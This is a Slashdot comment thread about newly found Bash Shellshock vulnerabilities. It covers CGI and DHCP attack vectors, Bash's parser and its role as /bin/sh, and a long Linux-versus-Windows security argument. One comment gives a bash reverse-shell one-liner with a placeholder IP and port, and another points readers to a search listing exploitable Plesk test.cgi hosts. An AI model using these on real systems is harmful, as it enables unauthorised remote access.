Bash To Require Further Patching, As More Shellshock Holes Found 329
Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.
There are no "remote" exploits for bash (Score:5, Informative)
Bash does not have network connectivity. The only thing possible is that there may be remote code execution vulnerabilities when bash is used in connection with a network service like a web-server or ssh. Maybe try to have a minimum of accuracy in these stories?
Call it what you will (Score:5, Insightful)
The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.
You are correct that this is not a remote exploit by itself. Only with CGI does it become remote. It is a code injection vulnerability that when used with CGI becomes a remotely exploitable vulnerability.
This is not a "blanded" attack that combines with a CGI vulnerability. There is no vulnerability in CGI; it works as specified (you could say that there is a design vulnerability in CGI - and I would agree about that).
Re:Call it what you will (Score:4, Insightful)
Well, it's not that it allows external entities to poison the environment, it's that it gives the finger to that basic secure programming practice where you should just assume that externally provided input is tainted data.
Debatable.
There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved. And, aside from security, the performance hit of invoking a shell just to launch another program makes it a bit silly to do it any other way.
And I'd point out that it's possible to explicitly control the environment of a subprocess (i.e. execle()), so anything calling a CGI program can at least sanitize things to minimize any damage. Not that the CGI should depend on the caller to sanitize things, of course.
On the other hand, the environment is a perfectly stupid way to pass code around.
Re:Call it what you will (Score:5, Interesting)
There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved.
The BIG problem here is that environment variables are inherited by default by and child processes. A semi-persistent mechanism is being used (by CGI) to pass what should have been transient data.
The passed values from CGI to the command processor is intended ONLY for the command processor. This is a specification vulnerability almost on par with PHP register_globals: If you know that a certain sub-process *also* uses environment variables to pass parameters, you can poison those environment variables from the web context.
PHP register_globals was bad exactly because of this: Sometimes a script would assume that a variable having no value (e.g. "CURRENT_USER") meant that the user had not logged on; and conversely that a value meant that the user had indeed authenticated. Presto: Inject "CURRENT_USER" as a request parameter and PHP would register a global variable which would cause the test to believe that you were logged on.
The CGI way is very, very similar: Environment variables are indeed "global" and it is very difficult for the immediate receiving processor to check whether extra variables have been set (as it itself could inherit variables from its parent process).
The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.
Re: (Score:2)
Re:There are no "remote" exploits for bash (Score:4, Informative)
Yes CGI is the common vector you are seeing lots of on the internet, but the greater threat I think to many users is dhcp.
If you have a Linux box that you get a dhcp address from GET IT PATCHED NOW.
Anyone can stand up a rouge DHCP server on most networks. Corporate environments might be slightly safer IFF they are well run. That is dhcp snooping is enabled on all the edge switches along with port security so you can know there are no addition dump hubs/switches daisy chained.
Otherwise DHCP options are passed as environment variables to the DHCP hook scripts on the client, even the default debug script that just returns if DEBUG is not set, and ships with dhclient would be vulnerable because the environment is parsed before any script content. You are walking around with a remote root exploit!
Re:There are no "remote" exploits for bash (Score:5, Funny)
Anyone can stand up a rouge DHCP server on most networks.
I tried to set up a rouge DHCP server once, but it left me marooned.
Re: (Score:2)
Or against github.
Re: (Score:2)
bash has network connectivity (since version 4 I think).
Try: cat /dev/tcp/time.nist.gov/13
Re: (Score:2)
Sorry, it's /dev/tcp/time.nist.gov/13
cat
Re:There are no "remote" exploits for bash (Score:4, Interesting)
cat </dev/tcp/time.nist.gov/13
:-) I wasn't aware of the feature, thanks.
That came from ksh. (Score:2)
It appears to have been implemented in some ksh versions in 1988. My Bolsky/Korn ksh book says "This feature is not available on all versions of the 11/16/88 version of ksh."
GNU AWK uses the same syntax.
Re:There are no "remote" exploits for bash (Score:5, Informative)
Umm bash does indeed have network capabilities and I use them for getting reverse shells all the time.
It can be compiled without it but in general its present on most linux systems.
echo $(bash -i >& /dev/tcp/x.x.x.x/yyyy 0>&1)
Where x.x.x.x is the ip and yyyy is the port you want to send the shell to, you can use a netcat listener on the remote host.
Re:There are no "remote" exploits for bash (Score:5, Interesting)
Here the definition of the system() function call often used to run external commands:
system() executes a command specified in command by calling /bin/sh -c command
/bin/sh is linked to /bin/bash and vulnerable. Executing external commands through system(), and therefore bash, is by far the easiest method, so it is widely used. It is sufficient to trick the server or daemon.
Here a proof of concept where a dhcp server tricks a dhcp client into running an arbitrary command. https://www.trustedsec.com/sep... [trustedsec.com]
Markus
Re: (Score:2)
/bin/sh is linked to /bin/bash and vulnerable.
This was the first failure. sh should be sh, or at least a decent restrictable shell like ash or zsh, and bash should be bash.
Re: (Score:3)
If you're on the RHEL security/patch list, you may have noticed a huge number of updates to ksh over the past couple of months. I found this odd -- until the recent shellshock thing went public. Perhaps this class of attack works against ksh as well? Looks like code reviews of core OS binaries may be ramping up since heartbleed.
Re: (Score:2)
Maybe.
But this decision was probably made before ash or zsh were around. Probably after enough bugs were found in (probably unmaintained) /bin/sh that using the special posix sh mode of bash made lots of sense.
Markus
Re: (Score:2)
After some reflection I suspect that there never was a 'pure' /bin/sh on Linux. It may have been bash all along.
Most commercial Unixes come with a dedicated /bin/bash and the korn shell. One could install bash, but this would be a 3rd party tool and not affect system().
Markus
Re: (Score:3)
Only for a distro which is designed and implemented STUPIDLY. Granted a lot of major distros do this. RHEL for example. And yes, it is stupid and lazy. It is stupid because bash does not perfectly implement POSIX sh behavior. Even when $0 is /bin/sh, the reduced emulation is flawed. It still allows extensions which expose bugs. And it is lazy because they allowed crap scripts to creep into the system so that they decided it was too hard to weed them out. A crap s
Re: (Score:3)
Is the bash parser a lost cause? (Score:2, Flamebait)
Seems to me that there are multiple indications that the parser is quirky, ad-hoc and error-prone. Parser construction is an old discipline. Was the bash parser created by people without the proper training, and has later maintenance ignored code because it was too weird?
Re: (Score:2)
Backwards compatability, which is a language design issue, has absolutely nothing to do with the implementation problems we see with these bugs. A good parser can implement backwards compatability without difficulty or problems. One option I like is recursive descent and ascent parsing with backtracking for ease of understanding and versatility, even if it may not be the most efficient.
Re: (Score:2)
Wrong. Most software programs have had big bugs like this that need to be fixed, including Java and Python. For example http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1912. Python has had a dozen remote code exploit attacks. So why do people keep picking on Bash when many other software programs have had these problems.
More bugs and exploits (Score:5, Funny)
Rejoice my brethren; finally linux is becoming popular, the year of the desktop is upon us!
The headlines are changing (Score:4, Interesting)
A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.
2004: New Windows Vulnerability in Help System [slashdot.org]
2004: Four New Unpatched Windows Vulnerabilities [slashdot.org]
2007: Windows Vulnerability in Animated Cursor Handling [slashdot.org]
2010: Windows DLL Vulnerability Exploit in the Wild [slashdot.org]
2012: Windows Remote Desktop Exploit in the Wild [slashdot.org]
2014: 23 Year Old X11 Server Security Vulnerability Discovered [slashdot.org]
2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks [slashdot.org]
2014: Remote Exploit Vulnerability in Bash [slashdot.org]
Re: (Score:3)
Comparing an operating system to a development model ought to throw an exception.
Quick check string (Score:3)
Re: (Score:2)
Re: (Score:2)
ShellShock checker (Score:2)
From Eric Blake's bug-bash post [gnu.org]
If you see anything like the following:
you're still vulnerable. There may be other issues the above does not cover.
Can someone explain how someone is exploited? (Score:2)
I'm a little unclear how I, as a user, can get exploited by this. (I know that it's bash (which pretty much makes MSWindows users immune), but what about the rest of us?)
Do I need to just browse a website on my computer?
Do I need to install Apache/PHP or some other server and open an appropriate port on my system?
Do I need to have port 22 open?
Do I need to have a root user?
Re:Can someone explain how someone is exploited? (Score:5, Informative)
You need to have a network service listening that passes data to bash (or arbitrary shells, though that would be far rarer). For example, an Apache HTTP server using bash as a CGI to process requests.
In general this is a bad thing, with a few exclusions for items that require it by their very purpose - for example SSH.
Note however that in the SSH example, the 'passing-stuff-to-shell' is post-authentication - so if they can exploit it, they can already log in as you anyways and do what they want.
Re: (Score:2)
Or any webserver using any CGI that calls system() to execute anything in a computer where the system shell is bash.
Comment removed (Score:4, Interesting)
Re: (Score:3)
None of that, if you have a vulnerable version of bash and use DHCP that is enough
Re:Can someone explain how someone is exploited? (Score:4, Informative)
Re:Can someone explain how someone is exploited? (Score:4, Interesting)
Not just CGI, also DHCP became vulnerable: https://www.trustedsec.com/sep... [trustedsec.com]
as pointed out by markus_baertschi [slashdot.org] above.
So it is relevant for the average end-user.
Re: (Score:3, Informative)
You have to have CGI bash scripts installed on you apache
No. This can affect you if you have a Web-facing server-side application, written in any programming language, that calls out to a shell, and the default shell for 'a shell' on that system is bash.
Still waiting... (Score:2, Insightful)
Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.
The most repeated example is letting the web server call a shell script. Yeah, we did that 15 years ago, and WE KNEW it was a stupid thing to do. There are so many ways of script injection, and nobody gets their quotes perfectly right. I thought security had become better in 15 years, but if that example is the best they have, apparently nothing has changed.
Seriously, if that example matters to
Re: (Score:3)
Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.
Plesk has a test.cgi file enabled by default. Here, go exploit all these hosts:
https://www.google.com/search?... [google.com]
Re: (Score:3)
Re: (Score:3)
Re: (Score:2)
Re: (Score:2)
Richard Stallman protests the name Shellshock (Score:4, Funny)
You'd better call it the GNU/Shellshock security vulnerability!
Why is this a bash bug? (Score:3)
Why does bash have to worry about security? It's just a shell, a thin interface supposed to execute whatever commands it receives. Surely the bug lies with Apache et al. for not properly censoring the data they receive from outside and send to bash for execution.
I understand that the exploit works by appending malicious commands after a function definition contained in an environment variable. The environment variables aren't meant to contain anything more than the function, so executing the extra code is a bug. In that sense the bug belongs to bash. But the shells were never designed to be secure against this kind of attack, and as we're now discovering there are all kinds of related vulnerabilities. Server software such as Apache is made to be secure: it has to worry about sending arbitrary commands to bash, so why not worry about setting arbitrary environment variables too?
Re: (Score:2)
Re: (Score:3)
Why does bash have to worry about security?
Because if it is installed as /bin/sh (fairly common), it gets called in a great many places because of the OS APIs system() and popen(), which are both defined to use /bin/sh on Unix. Much of the reporting about it has been more than a little breathless, but that's journalists for you.
Not everything is vulnerable. CGI is not inherently vulnerable (it could use execve() directly) and the called code need not use bash ever. But it's still a serious problem as anything that explicitly requires bash is also de
Nothing to do with language (Score:5, Insightful)
First of all, it's Bourne shellcode and bash has extensions to it. Second of all, whether the programming language is bad or not is totally not relevant. It's the parser in the shell itself that has some fundamental flaws because it executes code inside environment variables that are totally unchecked. You could have a brilliant programming language and still make the exact same mistake.
While you may say that is "by design" it is not common for Bourne shell to do so and most of shell scripts are written to be Bourne shell compatible. By choosing to allow this to happen, Bash programmers made a giant hole in shell security.
Re:Nothing to do with language (Score:4, Insightful)
Re:Nothing to do with language (Score:5, Funny)
The problem with bash is that even more than most shells (perhaps except for zsh), it's exceedingly obscure and baroque.
Of course it is baroque. That's why they are working hard to fix it.
Re: (Score:2)
Second of all, whether the programming language is bad or not is totally not relevant.
On the contrary, it is deeply relevant. As long as you manipulate simple values you can do so pretty safely, even with a single-type (text) language like bash. But the second you also represent code as a value, you are setting yourself up for security problems.
This goes deeper than bash: All of the POSIX-like shells were always dangerous in the way file names and other parameters were passed to commands. Miss a proper quoting and you set yourself up for injection through a simple filename (one with a few un
Re: (Score:2)
Well, no, because a brilliant programming language would not allow the execution of code inside interpolated environment variables as part of its specification.
You probably meant "interpreted" instead of "interpolated".
Re: Nothing to do with language (Score:2)
Interpolated is correct; it means to expand specially marked parts of a string. For example, in a double quoted string, Perl will replace a word preceded by a dollar sign with the contents of the variable with that name. This operation is to "interpolate" the variable.
Re: (Score:2)
The design of the language (which is fine by the way, its different, but its fine), has absolutely nothing to do with these bugs.
Re: (Score:3)
Of course it is.
Even "sed" (the text filtering utility) is a programming language.
If you have mechanisms for comparison, branching and buffering, you are dealing with a programming language.
Re: (Score:3)
Even "sed" (the text filtering utility) is a programming language.
Indeed it is. It is a fantastic Turing tarpit. It was never ever ever designed to be turing complete and the feature set is geared towards doing nothing but batch search and replace.
Naturally this means that people like to program interesting things in it for fun. Some of the most impressive are implementations of dc and sokoban.
Re: Bash is a very crappy programming language. (Score:3)
To be fair, perl had these problems in the early 90's and "taint mode " was introduced to protect against them and unforseen future variations on them. I seem to recall a release of PHP in the past couple years has adopted some of the same techniques. Bash folks won't be able to achieve a great result over a weekend. That we're here two decades later tells you most of what you need to know about the appropriateness of selecting bash for this kind of work.
Re:Soon to be patched (Score:5, Insightful)
Re:Soon to be patched (Score:5, Informative)
The Microsoft that delays releasing patches for zero-day vulnerabilities so the NSA can exploit them first [techdirt.com]? The one that took 7 years to fix a known vulnerability [theregister.co.uk]? The one that took 7 months to fix a remote IE exploit [zdnet.com] after it was reported, just because it wasn't public enough?
And with linux, as long as you install from your distribution (that already have most if not all that you will ever need to install), you have security fixes for all of what you have installed, not just the kernel or a minimal core of apps.
Re: (Score:2, Insightful)
Fucking Linux. NEVER AGAIN. At least with mswin, my stations will auto-update. (Not to mention they never would have had such a bone-headed obvious hole to start with.) Christ, even my headless server stations that I never thought I'd have to fuck with again are vulnerable. Goddmammit. This could even compromise accounts I have on remote servers if they are not keeping up-to-the-minute updates. I guess you get what you pay for. Caveat Emptor. I just never thought it would come back to bite me so hard. I suppose you never do.
What makes you think Windows doesn't have problems like this? The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public. Also, fixes were pushed out within hours of notification.
Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds
Re:Soon to be patched (Score:5, Informative)
What makes you think Windows doesn't have problems like this?
They did. But it is a long time since that last vulnerability on this scale. Following the embarrassing Nimda and Code Red (and many vulnerabilities in IIS), Microsoft started it's "security push". The central part of that is the Secure Development Lifecycle (SDL) which as a collection of processes, methodologies, tooling, mandatory education, guidance and mandatory threat modelling, reviews and auditing.
The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public.
That all fine and dandy. Only, these bugs (the original Shellshock and these later) have existed for 22+ years! During all that time, nobody (we hope) "reviewed the code and found problems". So, if there were any third parties looking at the source, they failed miserably (or sold exploit information on the black market).
Look, there have been bugs found in old MS code as well. A few years back there was a vulnerability in the old DOS emulation code.
It is time to let the myth of the many eyes die. The community is not going to help you by reviewing code unless you *pay* them to do so. It is the most boring discipline of developing code, and nobody does it out of interest.
A company like Microsoft can *pay* people to review and audit code. A big part of SDL is exactly those supporting roles and checks/gates. The open source community must wake up and set up foundations OpenSSL style and start asking those who reap the biggest benefits for some funding.
Also, fixes were pushed out within hours of notification.
Do you really want to go there, given the incomplete patches and host of related problems which could have been found had the maintainers taken more time?
Part of SDL in Microsoft is exactly a process where, when a vulnerability has been reported, they must take time to analyze if there are related or similar vulnerabilities, what impact a patch could have. On top of that they have a gigantic test farm where they test for compatibility with a huge number of popular software applications.
Essentially, what Microsoft does *internally* and prior to releasing information on the bug, is now what for bash takes place *externally* (external security researchers) and *after* the vulnerability info was released.
Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited.
No no no no. This bash problem was discovered by someone trying to see if you could pass a lambda (an anonymous function) from a bash shell instance to a subshell. He then noticed some weirdness and investigated.
After the bug has become known, security "researchers" homed in on the bash interpreter. Still from *the outside* (i.e. NOT looking at the source code), more vulnerabilities were found (see Tavis Ormandy's tweets).
The easiest way to find these bugs remains to just play around with bash and try to throw it off with weird syntax. And that is how these bugs are being found.
There is absolutely no evidence that having open source code makes the product more or less secure. To be honest, only the most obvious bugs are ever found by inspecting the code - which tend to be the same class of bugs that would be found with just some cursory testing.
No, the quality of the code is impacted by the quality assurance processes that surround the development process, such as testing, threat modelling, security audits, tooling, guidance etc.
Re:Soon to be patched (Score:4, Interesting)
Re:Soon to be patched (Score:5, Funny)
The reason Windows doesn't have problems like this
HOLY
FUCKING
SHIT
Re: (Score:2)
What the guys in the thread are stressing and you are not getting is the regulation of said job(s). And in my opinion both FOSS and closed source lack, in practice, a lot of testing scenarios. Being a conscious fellow I can add my own hacks... er... tests to see what I am installing, to more or less satisfying r
Re: (Score:3)
Nobody actually said that Linux is more secure. What has been said that security flaws are more likely to be reported and patched before they are exploited. The reason Windows doesn't have problems like this is because they really do. However, Microsoft is very good about non-disclosure agreements and the like. But, security by obscurity isn't really security. It's just marketing and wishful thinking.
As for being burned by this, it hasn't happened. The flaw has been there for 22 years and yet not one exploi
Re: (Score:2)
Or if one is here to spread misinformation as an AC.
Re: Soon to be patched (Score:2)
And that somehow means the rest of the OS is reviewed well..
AT LEAST THERE'S THAT.
Re: (Score:3)
The Shellshock bug is from 1992.
Please quote the bug report and date filed.
Re:Soon to be patched (Score:4, Funny)
Re:Soon to be patched (Score:5, Insightful)
You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?
Be glad its there for you to use at all. People donate their time and energy to it. Don't look a gift horse in the mouth.
Some would argue that Mac OS X isn't a totally free hobbyist OS and yet, with all of their paid professionals, they have yet to patch the bug. On the other hand, Linux being a free hobbyist OS means that researchers have the ability to scan the code and discover these types of holes. Something that is impossible for closed systems.
kids these days... (Score:3)
Re: (Score:2)
Of course it's pretty much irrelevant. The bug doesn't matter in practice unless you're doing other, severely braindead things.
Re:Soon to be patched (Score:5, Informative)
The last time I posted these facts, I was modded flamebait, and I'm sure it'll happen again. Plenty of karma to burn, though, so, whatever.
Re: (Score:3)
Arguably, the bug in Linux was in that it chose to use a program as large and complicated as bash as its idea of /bin/sh.
Though bash is, of course, available on all other OSes, no one else makes it the interpreter behind most of the system's own scripts as well as the system(3) function.
Re:Soon to be patched (Score:5, Funny)
Nobody ever got fired for using Microsoft..
Seems like a management oversight. I would be shocked to find that I have to pay for upgrades every couple of years.
Re: (Score:2)
You'll be shocked even more when you understand that you don't. Companies pay yearly license to microsoft largely regardless of upgrade status.
Re: (Score:3)
Lol.
You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.
They took notes from Cisco's playbook on how to long term fuck their clients.
Re:Soon to be patched (Score:4, Informative)
Lol.
You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.
They took notes from Cisco's playbook on how to long term fuck their clients.
They started the that policy in when Windows XP (and Server 2003) were released, and lost a third of the customers when they didn't deliver a new release within the 3 year Window. Yes, some of those got new policies later after that, but that policy change also drove many to evaluating Linux as an alternative (well documented at the time in the news) and some to switch when they found out they didn't really need Windows or Microsoft.
Re:Soon to be patched (Score:5, Informative)
Re:Soon to be patched (Score:5, Informative)
Re:Soon to be patched (Score:4, Interesting)
Re: (Score:2, Insightful)
Except that Windows probably has just as many holes only you dont know about them because they aren't public or because Microsoft has decided not to invest the engineering resources to fix them or because Microsoft has fixed them in a patch but the actual security flaw is still unknown publicly.
At least with Linux, if a security hole is found (and made public or released to experts in the security community or to the relavent developers or whatever), the number of people who are able to investigate and fix
Re: (Score:2)
Except that Windows probably has just as many holes only you dont know about them because they aren't public or because Microsoft has decided not to invest the engineering resources to fix them or because Microsoft has fixed them in a patch but the actual security flaw is still unknown publicly.
Innocent until proven guilty. All I see is that the Microsoft vulnerabilities are no more in the headlines.
You could as well say that Heartbleed and Shellshock are just scraping the surface, and are an indicator that open source might have more dragons lurking.
Re: (Score:2)
http://web.nvd.nist.gov/view/v... [nist.gov]
If you get your server administration advice from CNN's front page, perhaps your employer is not getting his/her money's worth.
highly damaging to linux on the server (Score:2, Insightful)
Those of us who've been using Unix, BSD/Solaris, and Linux for the past few decades never had delusional thoughts of vaunted security of these systems in the first place.
Any system will have security issues, as most software is flawed - and systems tend to comprise of dozens if not hundreds of software components.
This is ignoring hardware errors (most people security conscious have been dealing with hardware erratas for decades too), because more often than not those hardware issues are far easier to exploi
Re: (Score:3)
I'm not sure bash was ever intended to be involved in web facing applications. That's not what it's for! Once you go down that road, even indirectly, there's a lot that can go wrong.
Maybe next someone will run arbitrary user input from the web through g++, execute it in ring 0, and call it a security hole?
Ah. So you've heard of systemd?
Dun, dun, dun, tsss. Is it getting hot in here?
Re:not supposed to be on the web! (Score:5, Interesting)
Re: (Score:2)
If you assume you are not you are being an idiot.
I'm sure people didn't think their DHCP client ran a bash script after injecting some remote data into the environment, as the obvious example.
Do you run qmail? Oops, hopefully no users have a .qmail file.
Exim or postfix? You've checked all the things they execute I take it, and all the things that those things execute and so on?
Users using procmail? None of them have an exploitable match (or are adding one a minute after you checked them all)?
If you admin a
Re:not supposed to be on the web! (Score:4, Insightful)
And it's the developers of all those packages and distros that symlink /bin/sh to bash instead of something minimal and well-audited that we should be screaming at. But "remote root exploit in bash" is sexier (after all, Apple doesn't put procmail on every Mac) so that's what goes in the headline.
...and next time someone goes on a rant about systemd versus "the Unix way", remember that daemons passing input from the network to /bin/sh is part of "the Unix way".
Re: (Score:2)
You seem to be missing the point.
No, the vast majority of professional web stacks don't use bash for anything at all. No serious web host has CGI's that start with #!/bin/sh.
But that's not the end of the vulnerability. Bash will trigger its bug whenever its run. It doesn't need to be the CGI handler. It just needs to be run. Loads of web shops use Perl or PHP. How many of them have written their code so that it always uses the array-form of system() in Perl or things like proc_open() in PHP? How many people
Re: (Score:2)
No. The bugs we see in Bash have analogs which have been found in most software implementations, remember all of the Bugs found in Java, Python and so on, this is not a Bash only thing. Bash implements a programming language of its own (its own extensions to Bourne), and implements functionality that is unique and different from other languages. When you want the Bash programming language, Python isnt going to do that for you. What needs to be done is to fix the problem in the implementation and its much
Re: (Score:2)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1912
There have been a dozen remote code exploits in Python over the years. So it begs the question, why is everyone picking on Bash when most languages have these problems?
Re: (Score:2)
Re: (Score:2)
Python? You serious? Bye bye one liners with for loops or anything else. I really doubt anyone wants to have pretty code enforced on them for something as simple as iterating through a few numbers one time, ever.
Re: (Score:2)
All they need is a more convenient API to control processes.
Have you seen scsh [scsh.net]?
Re: (Score:2)
Re: (Score:2)
find|grep spawns two processes. find -exec grep is probably what you meant. I think something like "grep xxx $(find yyy)" should produce the same result without huge amounts of forking. Unless command line length has a practically reachable limit. I'm not sure about that.
Re: (Score:2)
Re: (Score:3)
maybe, "How many hackers does it take to change a light bulb ?"